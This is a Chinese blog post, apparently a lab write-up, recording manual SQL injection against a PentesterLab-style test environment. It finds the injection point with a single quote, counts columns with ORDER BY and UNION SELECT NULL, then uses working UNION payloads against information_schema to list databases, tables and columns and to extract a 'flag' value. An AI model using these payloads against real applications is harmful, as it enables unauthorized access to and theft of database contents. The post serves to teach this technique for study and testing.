手动sql注入记录

一、寻找注入点

这个是我们的测试环境,在id后加单引号后报sql错误,所以这里是存在sql注入的。


根据错误的提示可以看出来使用的是mysql数据库。


二、猜测列表的列数

猜测列表的列数一般使用order by的方法

?id=1 order by 4

一般先假设一个数字,比如10,报错则说明表的列数小于10,然后设置为5,用二分法,慢慢尝试直到找到一个报错和不报错连接的数字即为列表的数字。

但是我这个环境无论 order by多少都是正常的返回

所以尝试使用union的方法

?id=1' union select null,null'

一直增加null,如果字段数和null的数量不一致的话会显示报错,一直增加到null到不报错,最后null的数量就是表的列出

could not to the database The used SELECT statements have a different number of columns
现在我测试得表的列数为4

三、提取数据库名

在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
id=1' union select null,null,null,schema_name from information_schema.schemata where 's'='s

结果如下

4.获取表名

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中

我查询数据库pentesterlab

d=1' union select null,null,null,table_name from information_schema.tables where table_schema='pentesterlab


我们找到一个感兴趣的flag表

五、获取字段名

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中

接下来我们获取flag这个表格的字段名

id=1' union select null,null,null,column_name from information_schema.columns where table_name='flag' and table_schema='pentesterlab


获取到两个字段一个是id一个是flag

六、提取数据

id=1' union select null,null,null,flag from flag where 'a'='a


这样我们就获取到flag的数据了。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值